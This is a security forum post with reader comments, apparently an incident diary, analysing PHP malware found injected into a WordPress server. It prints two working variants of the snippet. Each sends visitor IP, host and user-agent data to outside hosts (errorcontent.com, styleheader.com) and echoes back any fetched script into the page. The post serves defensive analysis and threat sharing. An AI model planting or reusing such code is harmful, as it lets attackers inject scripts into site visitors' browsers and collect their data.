Possible Wordpress Botnet C&C: errorcontent.com
Thanks to one of our readers, for sending us this snipped of PHP he found on a Wordpress server (I added some line breaks and comments in red for readability):
#2b8008# <-- no idea what this hex value does. I modified it in case it identifies the user submitting this to us.
error_reporting(0); /* turn off error reporting */
@ini_set('display_errors',0); /* do not display errors to the user */
$wp_mezd8610 = @$_SERVER['HTTP_USER_AGENT']; /* retrieve the user agent string */
/* only run the code if this is Chrome or IE and not a "bot" */
if (( preg_match ('/Gecko|MSIE/i', $wp_mezd8610) && !preg_match ('/bot/i', $wp_mezd8610)))
{
# Assemble a URL like http://errorcontent.com/content?ip=[client ip]&referer=[server host name]&ua=[user agent]
$wp_mezd098610="http://"."error"."content".".com/"."content"."/? ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_mezd8610);
# check if we have the curl extension installed
if (function_exists('curl_init') && function_exists('curl_exec')) {
$ch= curl_init();
curl_setopt ($ch, CURLOPT_URL,$wp_mezd098610);
curl_setopt ($ch, CURLOPT_TIMEOUT, 20);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_8610mezd = curl_exec ($ch);
curl_close($ch);}
# if we don't have curl, try file_get_contents which requires allow_url_fopen.
elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_8610mezd = @file_get_contents($wp_mezd098610);}
# or try fopen as a last resort
elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_8610mezd=@stream_get_contents(@fopen($wp_mezd098610, "r"));}}
if (substr($wp_8610mezd,1,3) === 'scr'){ echo $wp_8610mezd; }
# The data retrieved will be echoed back to the user if it starts with the string "scr".
I haven't been able to retrieve any content from errorcontent.com. Has anybody else seen this code, or is able to retrieve content from errorcontent.com ?
According to whois, errorcontent.com is owned by a Chinese organization. It currently resolves to 37.1.207.26, which is owned by a british ISP. Any help as to the nature of this snippet will be appreciated.
Comments
http://pastebin.com/QGTZu12M
Seems to be the same code...
/x
Anonymous
May 26th 2015
9 years ago
$ host styleheader.com
styleheader.com has address 37.1.207.26
styleheader.com mail is handled by 10 mail.styleheader.com.
#19f955#
error_reporting(0); ini_set('display_errors',0); $wp_uzlk8990 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_uzlk8990) && !preg_match ('/bot/i', $wp_uzlk8990))){
$wp_uzlk098990="http://"."style"."header".".com/header"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlenc
ode($wp_uzlk8990);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_uzlk098990);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_8990uzlk = curl_exec ($ch); curl_close($ch);}
...
Anonymous
May 27th 2015
9 years ago
Sanesecurity.Malware.25170.PhpBot
Sanesecurity.Malware.25175.PhpBot
Cheers for the samples,
Steve
Sanesecurity.com
Anonymous
May 27th 2015
9 years ago